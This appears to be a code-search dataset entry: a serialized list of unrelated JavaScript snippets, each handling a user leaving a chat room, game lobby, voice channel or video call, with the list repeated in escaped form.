localStorage.removeItem(\"currentRoom\");\n setCurrentRoom(\"\");\n\n }","function leaveCommand(player, message) {\n\troom.kickPlayer(player.id, \"Bye !\", false);\n}","function leaveMeet() {\n\t// remove screen share stream if the user is sharing screen as well\n\tif (IsscreenShareActive) {\n\t\tStopScreenShare();\n\t}\n\n\tclientinstance.leave(\n\t\tfunction () {\n\t\t\tconsole.log(\"client leaves channel\");\n\t\t\tStreamsContainer.camera.stream.stop(); // stop the camera stream playback of the user\n\t\t\tclientinstance.unpublish(StreamsContainer.camera.stream); // unpublish the camera stream of the user\n\t\t\tStreamsContainer.camera.stream.close(); // clean up and close the camera stream of the user\n\t\t\t$(\"#remote-streams\").empty();\n\t\t\t//disable the UI elements which were enabled when the stream was received first time\n\t\t\t$(\"#mic-btn\").prop(\"disabled\", true);\n\t\t\t$(\"#video-btn\").prop(\"disabled\", true);\n\t\t\t$(\"#screen-share-btn\").prop(\"disabled\", true);\n\t\t\t$(\"#exit-btn\").prop(\"disabled\", true);\n\t\t\ttoggleVisibility(\"#mute-overlay\", false);\n\t\t\ttoggleVisibility(\"#no-local-video\", false);\n\t\t\tResizeGrid(); // resize grid after the user leaves\n\t\t\tredir(); // redirect back to meet room\n\t\t},\n\t\tfunction (err) {\n\t\t\tconsole.log(\"client failed to leave\", err); //error handling in case user couldnt leave properly\n\t\t}\n\t);\n}","function leaveGame() {\n console.log(\"Leaving game...\");\n channelLeaveGame();\n }","function SarahKickPlayerOut() {\n\tDialogLeave();\n\tSarahRoomAvailable = false;\n\tCommonSetScreen(\"Room\", \"MainHall\");\n}","function leaveRoom(id, name) {\n var newMessage = {\n receiverId: id,\n body: `${getel('myName').value} has left!`,\n senderName: getel('myName').value,\n roomName: name\n }\n\n socket.emit('leave', name, newMessage)\n renderMessage(newMessage)\n}","async function leaveChat(e) {\n if (roomId) {\n const db = window.firebase.firestore();\n window.roomRef = db.collection('rooms').doc(roomId);\n const messages = await window.roomRef.collection('messages').get();\n messages.forEach(async candidate => {\n await candidate.ref.delete();\n });\n await window.roomRef.delete();\n }\n //automatically signs out user on hangup.\n window.firebase.auth().signOut();\n window.location.reload();\n}","function OnTriggerExit(col: Collider){\n\tif(col.gameObject.tag == \"Player\") {\n\t\thasEntered = false;\n\t\tif(stateManager != null) {\n\t\t\tstateManager.UpdateContextualState(ContextualState.None, false);\t\t\t\t// false = message does not disappear after a while\n\t\t}\n\t}\n}","function leaveRoom() {\n\tif (player != \"\") {\n\t\troundEnded();\n\t\tvar geturl = \"/sanaruudukko/rest/sr/process?func=leaveroom&player=\" + player + \"&passcode=\" + passcode;\n\t\t$.ajax({\n\t\t\tcache: false,\n\t\t\tdataType : 'xml',\n\t\t\ttype : 'GET',\n\t\t\turl : geturl,\n\t\t\tsuccess : function(data) {\n\t\t\t\tinitRoomList();\n\t\t\t},\n\t\t});\n\t}\n}","function leaveGame() {\n var gameID = currentGame.id;\n currentGame = undefined;\n socket.emit('boardleave', {\n gameID: gameID,\n boardID: boardID\n });\n openHomeScreen($(\"#gameLobbyScreen\"));\n}","leave(id) {\n this.sock.send(JSON.stringify({action: 14, channel: 'room:' + id, presence: {action: 1, data: {}}}));\n }","doLeave() {\n logger.log('do leave', this.myroomjid);\n const pres = Object(strophe_js__WEBPACK_IMPORTED_MODULE_1__[\"$pres\"])({\n to: this.myroomjid,\n type: 'unavailable'\n });\n this.presMap.length = 0; // XXX Strophe is asynchronously sending by default. Unfortunately, that\n // means that there may not be enough time to send the unavailable\n // presence. Switching Strophe to synchronous sending is not much of an\n // option because it may lead to a noticeable delay in navigating away\n // from the current location. As a compromise, we will try to increase\n // the chances of sending the unavailable presence within the short time\n // span that we have upon unloading by invoking flush() on the\n // connection. We flush() once before sending/queuing the unavailable\n // presence in order to attemtp to have the unavailable presence at the\n // top of the send queue. We flush() once more after sending/queuing the\n // unavailable presence in order to attempt to have it sent as soon as\n // possible.\n // FIXME do not use Strophe.Connection in the ChatRoom directly\n\n !this.connection.isUsingWebSocket && this.connection.flush();\n this.connection.send(pres);\n this.connection.flush();\n }","function leaveRoom(connection) {\n\tif(connection&&connection.room) {\n\t\tvar index=connection.room.players.indexOf(connection.player);\n\t\tif(-1!==index) {\n\t\t\tconnection.room.players.splice(index,1);\n\t\t\troomsConnects[connection.room.id].splice(\n\t\t\t\troomsConnects[connection.room.id].indexOf(connection.sessid),1);\n\t\t\t// notifying players\n\t\t\troomsConnects[connection.room.id].forEach(function(destId) {\n\t\t\t\tconnections[destId].connection.sendUTF(JSON.stringify(\n\t\t\t\t\t{'type':'leave','player':connection.player.id})\n\t\t\t\t);\n\t\t\t});\n\t\t\tconnection.room=null;\n\t\t}\n\t}\n}","function leaveRoom(){\n\n disableElements(\"leaveRoom\");\n var message = {\n id: \"leaveRoom\"\n };\n\n participants[sessionId].rtcPeer.dispose();\n sendMessage(message);\n participants = {};\n\n var myNode = document.getElementById(\"video_list\");\n while (myNode.firstChild) {\n myNode.removeChild(myNode.firstChild);\n }\n}","function logoutUsr(){\r\n \t\t\r\n if(confirm(\"You will logged out of Chat\")){\r\n var usrName=\"\";\r\n \t if(document.getElementById(\"pageType\").value==\"chat\"){\r\n \t usrName =document.getElementById(\"usrName\").value;\r\n \t emitLogoutMsg(usrName);\r\n document.getElementById(\"usrName\").value=\"\";\r\n eraseCK(chatCK);\r\n window.location=chatUrl; \r\n \r\n \t }else {\r\n \t usrName =document.getElementById(\"usrAdmName\").value;\r\n \t emitLogoutMsg(usrName);\r\n document.getElementById(\"usrAdmName\").value=\"\";\r\n eraseCK(adminCK);\r\n window.location=adminUrl;\r\n \r\n }\r\n\r\n } \r\n }","leave() {\n if (this.client.browser) return;\n const connection = this.client.voice.connections.get(this.guild.id);\n if (connection && connection.channel.id === this.id) connection.disconnect();\n }","leaveChat() {\n return () => {\n this.bbmMessenger.chatLeave(this.chatId).then(() => {\n console.log(\"bbm-chat-header: left the chat\");\n });\n };\n }","function handleUserLeaveRoom({ roomId }) {\r\n socket.leave(roomId);\r\n // Update corressponding object in usersArray\r\n updateUserRoom(socket, \"\");\r\n const [user, index] = findUserObject(socket);\r\n io.to(roomId).emit(\"userLeave\", {\r\n name: user.name,\r\n });\r\n }","function leaveThanks(){\r\n\t//need to be able to feed back to 'edit', 'start', and 'confirm' :):)\r\n}","function leaveRoom() {\n window.location = routeHome()\n }","leaveRoom() {\n debug('videoChat:leaveRoom');\n const localMedia = this.get('stream');\n if (localMedia) {\n (localMedia.getTracks() || []).forEach(t => t.stop());\n }\n get(this, 'webrtc').leaveRoom(this.get('roomId'));\n get(this, 'webrtc').disconnect();\n (get(this, 'webrtc.webrtc.localStreams') || []).forEach(stream => stream.getTracks().forEach(t => t.stop()));\n }","function SarahSophieFreePlayerAndAmandaTheyLeave() {\n\tif (LogQuery(\"RentRoom\", \"PrivateRoom\") && (PrivateCharacter.length < PrivateCharacterMax) && !LogQuery(\"LockOutOfPrivateRoom\", \"Rule\")) {\n\t\tSarahTransferAmandaToRoom();\n\t\tCommonSetScreen(\"Room\", \"Private\");\n\t}\n\telse {\n\t\tDialogLeave();\n\t\tCommonSetScreen(\"Room\", \"MainHall\");\n\t}\n\tSarahRoomAvailable = false;\n}","Leave() {\n this.channel.leave();\n this.joined = false;\n this.isPlaying = false;\n delete globals.connections[this.channel.guild.id];\n }","leaveRoom()\n {\n this.setRoom(null);\n }","function leave() {\n document.getElementById(\"leave\").disabled = true;\n document.getElementById(\"join\").disabled = false;\n\n client.unpublish(localStream, function (err) {\n console.log(\"Unpublish local stream failed\" + err);\n });\n\n client.leave(function () {\n console.log(\"Leavel channel successfully\");\n }, function (err) {\n console.log(\"Leave channel failed\");\n });\n}","onLeave(client, consented) {\n\t\tthis.state.history.push(`${client.sessionId} left AreaRoom.`);\n\t}","function leaveClient() {\n\tsocket.emit('leave', {name: playerId});\n}","function endGame(winner) {\n\tdisableAll();\t\n\tif(winner === 'user'){\n\t\tif (userName == ''){\n\t\t\tResult.render('winner','The winner is YOU!');\t\t\t\n\t\t}\n\t\telse{ \n\t\t\tvar msg = 'The winner is '+ userName;\n\t\t\tResult.render('winner',msg);\t\t\t\t\t\n\t\t}\t\t\n\t}\n\telse{\n\t\tResult.render('loser','The winner is a Computer!!!');\t\t\n\t}\t\t\n}","function leaveRoom() {\n socket.emit('leave', {'username': username, 'room': room});\n\n document.querySelectorAll('.select-room').forEach(p => {\n p.style.color = \"black\";\n });\n}","function leaveConversation() {\n var confirm = window.confirm(\"Are you sure you want to leave this conversation?\");\n if (confirm) {\n xhttp(\"POST\", \"leave-conversation.php\", {conversation: right.num}, (response) => {\n if (!response) {\n alert(\"There's a problem leaving this conversation.\");\n } else {\n alert(\"You have left this conversation.\");\n //Removes the entry from data.\n delete data.conversations[right.num];\n document.getElementById(\"right\").innerHTML = \"\";\n }\n });\n } \n}","function chatOut (msg) {\n var nickname = $(\"#nickname\")[0].value;\n if (msg == \"\" || !msg)\n return;\n chatRef.push({\n id: id,\n name: (nickname ? nickname : id),\n message: msg,\n timestamp: new Date().getTime()\n })\n}","function confirmExit() {\n if (g_IsNetworked && !g_IsNetworkedActive) return;\n\n closeOpenDialogs();\n\n // Don't ask for exit if other humans are still playing\n let askExit =\n !Engine.HasNetServer() ||\n g_Players.every(\n (player, i) =>\n i == 0 ||\n player.state != \"active\" ||\n g_GameAttributes.settings.PlayerData[i].AI != \"\"\n );\n\n let subject = g_PlayerStateMessages[g_ConfirmExit];\n if (askExit) subject += \"\\n\" + translate(\"Do you want to quit?\");\n\n messageBox(\n 400,\n 200,\n subject,\n g_ConfirmExit == \"won\" ? translate(\"VICTORIOUS!\") : translate(\"DEFEATED!\"),\n askExit ? [translate(\"No\"), translate(\"Yes\")] : [translate(\"OK\")],\n askExit ? [resumeGame, leaveGame] : [resumeGame]\n );\n\n g_ConfirmExit = false;\n}","leaveVc(msg, bot, lang) {\r\n if (this.voiceConnection) {\r\n this.musicChannel.send(\r\n {\r\n embed: {\r\n type: 'rich',\r\n description: `⛔ Musique arrétée. Je part du channel : **${this.voiceConnection.channel.name}**.`,\r\n color: 3447003\r\n }}\r\n );\r\n\r\n this.musicChannel = null;\r\n if (this.dispatch) this.dispatch.end('leave');\r\n this.voiceConnection.disconnect();\r\n this.voiceConnection.removeAllListeners();\r\n\r\n this.changeStatus(Statustype.OFFLINE);\r\n\r\n this.voiceConnection = null;\r\n this.dispatch = null;\r\n } else {\r\n msg.channel.send(\r\n `I'm not in a voice channel! `\r\n );\r\n }\r\n }","function detachPlayerFromRoom(request)\n {\n var diff_lvl = request.session.player.diff_lvl;\n var tag = request.session.player.player_tag;\n\n roomCount[diff_lvl]--;\n request.io.leave(diff_lvl);\n console.log('LEAVE [' + diff_lvl + '] (' + tag + '): roomCount=' + roomCount[diff_lvl] );\n \n if (roomCount[diff_lvl] > 0)\n {\n var player = { player_tag: tag };\n request.io.room('' + diff_lvl).broadcast('gamer_exited_room', player );\n console.log(\"BROADCAST [\" + diff_lvl + \"]: gamer_exited_room (\" + tag + \")\");\n }\n else\n {\n console.log(\"...not BROADCASTing, since room [\" + diff_lvl + \"] is empty\");\n }\n }","handleClose() {\n this.room.leave(this);\n this.room.broadcast({\n type: 'note',\n text: `${this.name} left ${this.room.name}.`\n });\n }","function cancelForgotUsername(){\n\tcloseWindow();\n}","function endGame(msg) {\n //pop up alert message\n alert (`${msg}`);\n}","function endGame(msg) {\n\t// TODO: pop up alert message\n\t// this delivers a special pop up alert when a player wins the game\n\tSwal.fire('Good job!', msg, 'success');\n}","function leaveGame(sockId) {\n GameLobby.leftGame(sockId);\n}","function hangUpCall() {\n closeVideoCall();\n\n sendToServer({\n // caller: my_profile?.userId,\n sendto: params?.userId,\n type: \"leave\",\n });\n }","function leaveAllRooms() {\n reloadChatArea();\n $.post(\"/chatroom/leaveAll\", {username: username, reasonCode: 0}, function () {\n chatroomId = -1;\n getJoinedRooms();\n getChatRoomUsers();\n }, \"json\");\n}","function denyTournament() {\n\tdocument.getElementById('askTournament').style.display = \"none\";\n\tvar data = JSON.stringify({\n\t\t'name' : PlayerName,\n\t\t'participate_tournament' : false\n\t});\n\tsocketConn.send(data);\n\tvar serverMsg = document.getElementById('serverMsg');\n\tserverMsg.value += (\"\\n> waiting for other players to finish tournament\");\n}","function clientDisconnect(data) {\n\tshowNewMessage(\"notification\", {msg: ' ~ '+data.username+' left the chatroom. ~'});\n\tMaterialize.toast(data.username+' left the chatroom.', 2000);\n\tremoveUserFromList(data);\n}","function leaveBooking() {\n if (localStorage.getItem(\"bookingRoom\")) {\n localStorage.removeItem(\"bookingRoom\");\n }\n // return \"Leaving booking page !\";\n}","function notifyLogout(userFound){\n if(userFound !== false){\n // echo globally that this client has left\n socket.broadcast.emit('user left', {\n username: socket.username,\n numUsers: 1\n });\n userFromMemory.isOnline = false;\n sendPlayer(userFromMemory);\n }\n }","function endGame(msg) {\n\t// TODO: pop up alert message\n\talert(msg);\n\tgameLive = false;\n}","function OnLeaveTeamPressed () {\n Game.PlayerJoinTeam(DOTATeam_t.DOTA_TEAM_NOTEAM);\n}","function endChat() {\n\t\t\t\tlogger.debug(\"endChat\", \"...chatState=\"+chatState);\n\t\t\t\t\n\t\t\t\tif (chat && (chatState == chat.chatStates.CHATTING || chatState == chat.chatStates.RESUMING \n\t\t\t\t\t|| chatState == chat.chatStates.WAITING)) { //|| chatState == chat.chatStates.NOTFOUND\n\t\t\t\t\t\n\t\t\t\t\tvar endChatParam = {\n\t\t\t\t\t\t\t\tdisposeVisitor : true,\n\t\t\t\t\t\t\t\tcontext : myChatWiz,\n\t\t\t\t\t\t\t\tskill : skill,\n\t\t\t\t\t\t\t\terror: function(data) {\n\t\t\t\t\t\t\t\t\tlogger.debug(\"endChat.error\", data);\n\t\t\t\t\t\t\t\t\tchatWinCloseable = true;\n\t\t\t\t\t\t\t\t\tendChatHandler();\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t/* send endChat request and waiting for endChat event call back */\n\t\t\t\t\tvar failedRequest = chat.endChat(endChatParam);\n\t\t\t\t\t\t\t\n\t\t\t\t\tif (failedRequest && failedRequest.error) {\n\t\t\t\t\t\tlogger.debug(\"endChat.error2\", failedRequest);\n\t\t\t\t\t\tchatWinCloseable = true;\n\t\t\t\t\t\tendChatHandler();\t\n\t\t\t\t\t}\n\t\t\t\t}else if(chatState == chat.chatStates.INITIALISED){\n\t\t\t\t\tendChatHandler();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}","function SarahAmandaLeaveRoom() {\n\tfor (let C = 1; C < SarahCharacter.length; C++)\n\t\tif (SarahCharacter[C].Name == \"Amanda\")\n\t\t\tSarahCharacter.splice(C, 1);\n\tAmandaInside = false;\n\tDialogLeave();\n}","function leavePageWith(stateString) {\n socketRef.current.emit('leave-room-silently', currentUser.uid, room);\n history.push('/after', {\n state: { match_id: match_id, type: stateString },\n });\n }","function leaveTeam(context) {\n teamsService.leaveTeam()\n .then(function (res) {\n sessionStorage.clear();\n auth.saveSession(res);\n auth.showInfo(`Successfully leave the team!`);\n context.redirect('#/catalog');\n }).catch(auth.handleError);\n }","sendLeavePortalRequest() {\n log.debug('Sending request to leave portal.');\n const msgHeader = new MessageBuilder().\n setType(LEAVE_PORTAL_REQUEST).\n setPortalHostPeerId(this.portalHostPeerId).\n setTargetPeerId(this.portalHostPeerId).\n setSenderPeerId(this.localPeerId).\n getResult();\n const message = new MessageBuilder().\n setHeader(msgHeader).\n getResult();\n this.emitter.emit('enqueue-message', message);\n }","function joinRoom(room)\r\n{\r\n //TODO erase... Name must be known previously\r\n var name = '';\r\n while(name == '')\r\n {\r\n name = prompt(\"Wie heißt du?\");\r\n }\r\n\r\n socket.emit('requestRoom', room, name);\r\n document.getElementById(\"chooseRoom\").classList.add('hidden');\r\n \r\n //TODO: maybe show loading icon...\r\n}","function send_off_game_message() {\n var chat_msg = $('#chat_msg').val();\n var chat_to = $('#chat_to').val();\n if (check_field_empty(chat_msg, 'message, cannot send empty message'))\n return false;\n if (check_field_empty(chat_to, 'recipient, no recipient specified'))\n return false;\n var dataObj = {\n \"content\" : [\n { \"session_id\" : get_cookie() },\n { \"to\" : chat_to },\n { \"content\" : chat_msg }\n ]\n };\n call_server('user_msg', dataObj);\n}","exitHandler() {\n this.saveUser(this.user);\n Channel.botMessage(`\\nGoodbye, ${this.user}!\\n\\n`);\n database.save(chatDB);\n process.exit(0);\n }","function disappear(){\n\tif (document.getElementById(\"prompt\")){\n\t\tvar prompt = document.getElementById(\"prompt\");\n\t\tprompt.parentNode.removeChild(prompt);\n\t}\n}","leaveCourt() {\n // User is not queued and is thus playing on this court\n this.props.removeUserFromActive();\n }","function OnLeaveTeamPressed()\n{\n\tGame.PlayerJoinTeam( DOTATeam_t.DOTA_TEAM_NOTEAM );\n}","function SarahLeaveRoom() {\n\tfor (let C = 1; C < SarahCharacter.length; C++)\n\t\tif (SarahCharacter[C].Name == \"Sarah\")\n\t\t\tSarahCharacter.splice(C, 1);\n\tSarahInside = false;\n\tDialogLeave();\n}","function handleDisconnect() {\r\n console.log(\"disconect received\", { socket });\r\n // Find corressponding object in usersArray\r\n const [user, index] = findUserObject(socket);\r\n\r\n // Emit to room\r\n io.to(user.room).emit(\"userLeave\", {\r\n name: user.name,\r\n });\r\n\r\n // Remove user object\r\n removeUserObject(socket);\r\n }","function leaveRoom(socket, userId) {\n const roomID = socketToRoom[userId];\n let room = users[roomID];\n if (room) {\n room = room.filter(user => user.id !== userId);\n users[roomID] = room;\n }\n socket.broadcast.emit('user left', userId);\n}","function cancel_function() {\n var testV = 1;\n var pass1 = prompt('Please Enter Your Password','password');\n while (testV < 3) {\n if (pass1.toLowerCase() == \"letmein\") {\n cancel_rn = prompt(\"Which room would you like to cancel reservation?\");\n for (var i = 0; i < rooms.length; i++) {\n if(cancel_rn == rooms[i].number){\n rooms[i].duration_start = \"-\";\n rooms[i].duration_end = \"-\";\n rooms[i].open = \"Open\";\n rooms[i].breakTime = 0;\n break;\n }\n }\n loadRooms();\n \n break;\n } \n else {\n testV+=1;\n var pass1 = prompt('Access Denied - Password Incorrect, Please Try Again.','Password');\n }\n }\n if (pass1.toLowerCase()!=\"password\" & testV ==3)\n history.go(-1);\n return \" \";\n}","function handleMessage(){\n if(currentRoom != old){\n \n var message = $('.chat-input input').val().trim();\n if(message){\n // send the message to the server with the room name\n var msg = new Messaging.Message(JSON.stringify({nickname: nickname, message: message, timestamp: Date.now()}));\n msg.destinationName = atopicName(currentRoom);\n msg.qos = 1;\n mqttClient.send(msg);\n \n $('.chat-input input').val('');\n } \n }}","function endgame() {\n inquirer\n //ask if the user would like to continue via a y or n prompt \n .prompt({\n name: \"continue\",\n type: \"confirm\",\n message: \"Would you like to order more beans?\",\n })\n .then(function(answer) {\n // based on their answer, either run queryBeans function (i.e. start over) or end the connection and exit the app\n if (answer.continue === true) {\n queryBeans();\n }\n else{\n connection.end();\n return;\n }\n });\n }","handleOpponentLeaving()\n {\n console.log(\"opponent left\")\n playSound(\"oppLeft\");\n if(game.state.current===\"ticTac\")\n {\n Client.disconnectedFromChat({\"opponent\": game.opponent});\n game.state.start(\"waitingRoom\");\n }\n else\n {\n game.challengingFriend = false\n game.firstPlay = true\n }\n game.opponentLeft = true;\n $('#opponentCard').css({ 'right': '0px', 'right': '-20%' }).animate({\n 'right' : '-20%'\n });\n }","function quit() {\n inquirer.prompt([\n {\n type: \"confirm\",\n name: \"menu\",\n message: \"Would you like to go back to the main menu?\"\n }\n ]).then(function (arg) {\n if (arg.menu === false) {\n connection.end();\n process.exit();\n } else {\n userPrompt();\n }\n });\n}","function PromptNotActive(){}","function prepsend() {\n\tvar text = Chatbox.input.value;\n\tChatbox.input.value = null;\n\tswitch (text) {\n\tcase \"/version\":\n\t\tAPI.version();\n\t\treturn;\n\t}\n\tAPI.sendMsg(text);\n}","function endGame() {\r\n\t\tgameOver = true;\r\n\t\tsetMessage2(\"Game Over\");\r\n\t}","leaveRoom(roomName, ack) {\n /**\n * Leave the room. The leave method is internal to the socket.io\n * socket instance.\n */\n this.socket.leave(roomName);\n\n /**\n * Log the leave room action.\n */\n this.logger.info([this.socket.id, 'left room', roomName].join(' '));\n \n /**\n * Update the list of created rooms.\n */\n this.socketManager.updateRooms();\n\n /**\n * This acknowledge function essentially sends a message back to the client\n * acknowledging that the server received the send event. This particular\n * ack returns true that the server successfully removed the client from\n * the room.\n */\n ack(roomName);\n }","quit_game(){\n this.room = DEFAULT_CHATROOM;\n this.socket.emit('game:stop', { chatroom: this.room });\n delete this.game;\n }","function confirmClose()\r\n{\r\n if (g_bActive && event.clientY < 0)\r\n {\r\n event.returnValue = 'And do you want to quit this chat session also?';\r\n// setTimeout('myclose=false',100);\r\n// myclose=true;\r\n }\r\n}","function logOut() {\n input = readline.question(\"Are you sure you want to log out? (yes / no)\\n>> \");\n if (input === \"yes\") {\n console.log(\"Logging out, thanks for using MustGet Banking CLI!\");\n // Clear user\n user = {};\n // If user wants to logout, return back to beginning of program\n currentLoc = \"start\";\n } else if (input === \"no\") {\n console.log(\"Ok, returning to menu\");\n // If user doesn't want to logout, return back to menu.\n currentLoc = \"menu\";\n }\n}","function func_close_join_room_pop() {\n join_room.css(\"display\", \"none\");\n}","function endGame(msg) {\n\t// TODO: pop up alert message\n\talert(msg);\n}","function userMsgSend(e){\n\tif(e.which==13){\n\t\tif($('#userText').val()!=0){\n\t\t\topenAdminOpChat();\n\t\t}\n\t}\n}","function leaveClassroomClientSide(id) {\n\tvar classroomid = clients[id].classroomid;\n\tsendMessage(id, new Message(\"*\", \"server\", \"classroomid,undefined\"));\n\tsendMessage(id, new Message(\"*\", \"server\", \"permissions,undefined\"));\n\tsendMessage(id, new Message(\"message\", \"server\", \"Disconnecting from classroom\"));\n}","function endGame(msg) {\n // TODO: pop up alert message\n alert(msg)\n}","function SarahSophieLeaveRoom() {\n\tfor (let C = 1; C < SarahCharacter.length; C++)\n\t\tif ((SarahCharacter[C].Name == \"Sophie\") || (SarahCharacter[C].Name == \"Mistress Sophie\"))\n\t\t\tSarahCharacter.splice(C, 1);\n\tSophieInside = false;\n\tDialogLeave();\n}","function main(msg) {\n // Check if user types 'leave\n if (msg.content === '\\'leave') {\n // Check if the user is in the same voice channel\n if (msg.member.voice.channel) {\n // Make the bot leave\n msg.member.voice.channel.leave();\n // Delete the user's message\n msg.delete();\n }\n } else if (msg.content === '\\'stop') {\n // Play nothing\n play(msg, '', volume);\n } else if (msg.content === '\\'cmd') {\n // Run the commands method\n commands(msg);\n }\n}","function endConversationReceived(param) {\r\n\tendConversation(param);\r\n\tnotifyToolbar();\r\n}","function leave_channel(message, channel)\n{\n\tlet c = find_channel(channel);\n\tlet role = message.guild.roles.find(r => r.name === c.role);\n\t//let role = message.member.roles.find(r => r.name === c.role);\n\n\tif (role == undefined) {\n\t\treturn false;\n\t}\n\n\tif (!c.optout) {\n\t\tif (!message.member.roles.has(role.id)) {\n\t\t\treturn false;\n\t\t}\n\n\t\tmessage.member.removeRole(role);\n\t} else {\n\t\tmessage.member.addRole(role);\n\t}\n\treturn true;\n}","closeChat() {\n if (this.messagesRef ) {\n this.messagesRef.off();\n }\n }","socketsLeave(room) {\r\n this.adapter.delSockets({\r\n rooms: this.rooms,\r\n except: this.exceptRooms,\r\n }, Array.isArray(room) ? room : [room]);\r\n }","function endConversationHandler() {\r\n endConversation(tabs.getActiveTab().title);\r\n\r\n //send end conversation system message'\r\n conn.request({\r\n url: CONTACT_LIST_JSON_URL,\r\n method: 'POST',\r\n params: { method: \"endConversation\", userId:tabs.getActiveTab().title},\r\n success: function(responseObject) {\r\n },\r\n failure: function() {\r\n\t Ext.Msg.alert(getLocalizationValue('application.javascript.messagingWindow.alert.errorTitle'), getLocalizationValue('application.javascript.messagingWindow.alert.errorMsg'));\r\n }\r\n });\r\n}","function endGame(msg) {\n // TODO: pop up alert message\n alert(msg);\n}"],"string":"[\n \"function leaveRoom() {\\n let chatLink = server + '/chat/' + roomId;\\n Swal.fire({ background: background, position: \\\"top\\\", title: \\\"Leave this room?\\\",\\n html: `

    If you want to continue to chat,
    go to the main page and
    click on chat of this room

    `,\\n showDenyButton: true, confirmButtonText: `Yes`, confirmButtonColor: 'black', denyButtonText: `No`, denyButtonColor: 'grey',\\n }).then((result) => { if (result.isConfirmed) window.location.href = \\\"/main\\\"; });\\n}\",\n \"function leaveUserRoom() {\\r\\n divHome.show();\\r\\n divRoom.hide();\\r\\n allMessageNb = 0;\\r\\n socket.emit(\\\"leaveRoom\\\", currentRoom);\\r\\n}\",\n \"function leaveRoom(channel) {\\n socket.emit(\\\"leave\\\", {\\\"channel\\\": channel, \\\"username\\\": username})\\n document.getElementById(\\\"messages\\\").innerHTML = \\\"\\\"\\n }\",\n \"function leaveRoom() {\\n socketRef.current.emit(\\\"user clicked leave meeting\\\", socketRef.current.id);\\n props.history.push(\\\"/\\\");\\n }\",\n \"function commandLeave(msg) {\\n if (!canManageGuild(msg.member)) return;\\n\\n let guild = msg.guild.id.toString();\\n let vc = client.voiceConnections.get(guild);\\n if (!vc) {\\n return msg.channel.sendMessage('Bot is not in a channel!');\\n } else {\\n vc.leaveSharedStream();\\n vc.disconnect();\\n writeGuildConfig(guild, { vc: null });\\n\\n return msg.channel.sendMessage(';_; o-okay...');\\n }\\n}\",\n \"function leaveroom(room) {\\n document.querySelector('.chat').innerHTML = '';\\n socket.emit('leave', { \\\"user\\\": user, \\\"room\\\": curr_room })\\n}\",\n \"function leaveChat(){\\n\\tplayTitleFlag = false;\\n\\txmlHttp3 = GetXmlHttpObject();\\n\\n\\tif (xmlHttp3 == null){\\n\\t\\talert(\\\"Browser does not support HTTP Request\\\");\\n\\t\\treturn;\\n\\t}\\n\\n\\tvar url = base_url+\\\"keluarChat/\\\" + userId;\\n\\txmlHttp3.open(\\\"POST\\\", url, true);\\n\\txmlHttp3.onreadystatechange = stateChanged3;\\n\\txmlHttp3.send(null);\\n}\",\n \"function leaveRoom()\\n {\\n // Leave room\\n $(this).removeClass(\\\"joined\\\");\\n socket.send(JSON.stringify({\\n \\\"command\\\": \\\"leave\\\", // determines which handler will be used (see chat/routing.py)\\n \\\"room\\\": room_id\\n }));\\n }\",\n \"function leaveRoom() {\\n Swal.fire({ background: background, position: \\\"top\\\", title: \\\"Leave this room?\\\",\\n showDenyButton: true, confirmButtonText: `Yes`, confirmButtonColor: 'black', denyButtonText: `No`, denyButtonColor: 'grey',\\n }).then((result) => { if (result.isConfirmed) window.location.href = \\\"/main\\\"; });\\n}\",\n \"function leaveRoom() {\\n // Call the server to leave the room\\n socketInstance.delete('/room/' + roomId + '/onlineUsers', { id: myChatId });\\n\\n }\",\n \"function LeaveRoom(room, username) {\\n socket.leave(room);\\n socket.broadcast.to(room).emit('ModRoomChangeReceive', { username: username, active: false });\\n }\",\n \"function handleExit() {\\r\\n\\tif (confirm('Are you sure you want to leave the game?')) {\\r\\n\\t\\tsocket.emit('toLeave');\\r\\n\\t\\tlocation.reload();\\r\\n\\t}\\r\\n}\",\n \"async leaveGroupChat(parent, args, ctx, info) {\\n // check login\\n if (!ctx.request.userId) {\\n throw new Error('You must be logged in to do that!');\\n }\\n // check that the user is the member of the group chat\\n const where = { id: args.id };\\n const chat = await ctx.db.query.talk({ where }, `{ members {id} }`);\\n const isChatMember = chat.members\\n .map(member => member.id)\\n .includes(ctx.request.userId);\\n if (!isChatMember) {\\n throw new Error(`You are not a member of the chat!`);\\n }\\n\\n // disconnect the current user\\n return ctx.db.mutation.updateTalk(\\n {\\n data: {\\n members: {\\n disconnect: { id: ctx.request.userId },\\n },\\n },\\n where: {\\n id: args.id,\\n },\\n },\\n info\\n );\\n }\",\n \"function C012_AfterClass_Amanda_EndChat() {\\n\\tif (ActorGetValue(ActorPose) == \\\"Kneel\\\") ActorSetPose(\\\"Shy\\\");\\n\\tLeaveIcon = \\\"Leave\\\";\\n}\",\n \"function leaveRoom() {\\n localStorage.removeItem(\\\"currentRoom\\\");\\n setCurrentRoom(\\\"\\\");\\n\\n }\",\n \"function leaveCommand(player, message) {\\n\\troom.kickPlayer(player.id, \\\"Bye !\\\", false);\\n}\",\n \"function leaveMeet() {\\n\\t// remove screen share stream if the user is sharing screen as well\\n\\tif (IsscreenShareActive) {\\n\\t\\tStopScreenShare();\\n\\t}\\n\\n\\tclientinstance.leave(\\n\\t\\tfunction () {\\n\\t\\t\\tconsole.log(\\\"client leaves channel\\\");\\n\\t\\t\\tStreamsContainer.camera.stream.stop(); // stop the camera stream playback of the user\\n\\t\\t\\tclientinstance.unpublish(StreamsContainer.camera.stream); // unpublish the camera stream of the user\\n\\t\\t\\tStreamsContainer.camera.stream.close(); // clean up and close the camera stream of the user\\n\\t\\t\\t$(\\\"#remote-streams\\\").empty();\\n\\t\\t\\t//disable the UI elements which were enabled when the stream was received first time\\n\\t\\t\\t$(\\\"#mic-btn\\\").prop(\\\"disabled\\\", true);\\n\\t\\t\\t$(\\\"#video-btn\\\").prop(\\\"disabled\\\", true);\\n\\t\\t\\t$(\\\"#screen-share-btn\\\").prop(\\\"disabled\\\", true);\\n\\t\\t\\t$(\\\"#exit-btn\\\").prop(\\\"disabled\\\", true);\\n\\t\\t\\ttoggleVisibility(\\\"#mute-overlay\\\", false);\\n\\t\\t\\ttoggleVisibility(\\\"#no-local-video\\\", false);\\n\\t\\t\\tResizeGrid(); // resize grid after the user leaves\\n\\t\\t\\tredir(); // redirect back to meet room\\n\\t\\t},\\n\\t\\tfunction (err) {\\n\\t\\t\\tconsole.log(\\\"client failed to leave\\\", err); //error handling in case user couldnt leave properly\\n\\t\\t}\\n\\t);\\n}\",\n \"function leaveGame() {\\n console.log(\\\"Leaving game...\\\");\\n 